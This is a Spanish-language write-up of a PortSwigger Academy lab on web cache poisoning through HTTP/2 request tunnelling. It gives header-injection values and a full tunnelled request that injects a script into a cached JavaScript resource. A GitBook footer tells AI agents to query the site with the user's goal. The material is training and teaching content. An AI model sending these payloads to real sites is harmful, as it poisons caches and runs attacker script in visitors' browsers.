> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# Envenenamiento de caché web mediante tunelización de solicitudes HTTP/2

Notas de Envenenamiento de caché web mediante tunelización de solicitudes HTTP/2 para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Envenenamiento de caché web mediante tunelización de solicitudes HTTP/2

Este laboratorio es vulnerable al smuggling de solicitudes porque el servidor frontal degrada las solicitudes HTTP/2 a HTTP/1.1 y no limpia correctamente algunos encabezados entrantes. / El objetivo es envenenar la caché para que, cuando la víctima visite la página de inicio, su navegador ejecute `alert(1)`. / Un usuario víctima accede automáticamente a la página cada 15 segundos.

El servidor frontal no reutiliza conexiones con el back-end. Por lo tanto, los ataques clásicos de smuggling no funcionan, pero la tunelización de solicitudes sigue siendo utilizable.

Hay un mecanismo de caché en la página de inicio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd8679e892b670920831fa717e8bb3d2ae3c368%2F%7B6CFEE4F6-9E46-4B85-B10F-BE97221B11EC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Forzar una degradación a HTTP/1.1

En los encabezados, se puede imponer una interpretación HTTP/1.1 construyendo el siguiente tipo:

{% code title="Valor" %}

```http
/post HTTP/1.1
Prueba:
```

{% endcode %}

Aunque esto genera un error que indica que el `Prueba` encabezado no existe, muestra que la solicitud es reinterpretada por el frontal.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d77c5f567e37a34aa0e5525fef6bede8ac36b42%2F%7B4DAE70B7-6F15-4CB3-B120-113B32630354%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Inyección en un recurso estático

Al dirigirnos al archivo JavaScript del laboratorio, observamos que añadir un parámetro similar a un script se refleja en la respuesta

```http
/resources/labheader/js?<script>alert(0)</script>
```

Por lo tanto, el recurso es sensible al envenenamiento de la caché.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4660fd3d710ac870239c82c762aa40fe9f3a14d9%2F%7B42EB247B-CE15-4462-B7C9-7F0DBF7BA44E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construcción de la solicitud tunelizada

Después, envía una solicitud adicional encapsulando una nueva consulta HTTP/1.1 en el cuerpo:

```http
/ HTTP/1.1
Prueba: prueba

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

Esta carga es reinterpretada por el servidor tras la tunelización. / El contenido inyectado se reescribe en la respuesta del recurso JavaScript, lo que te permite envenenar la caché.

Cuando la víctima vuelva a visitar la página de inicio, su navegador cargará esta versión envenenada y ejecutará `alert(1)`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc255d0b6d0aa77fc5fd1840295bf98745da9cc0%2F%7B382B6C2E-E45B-4926-997E-2C0E85ADBAA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.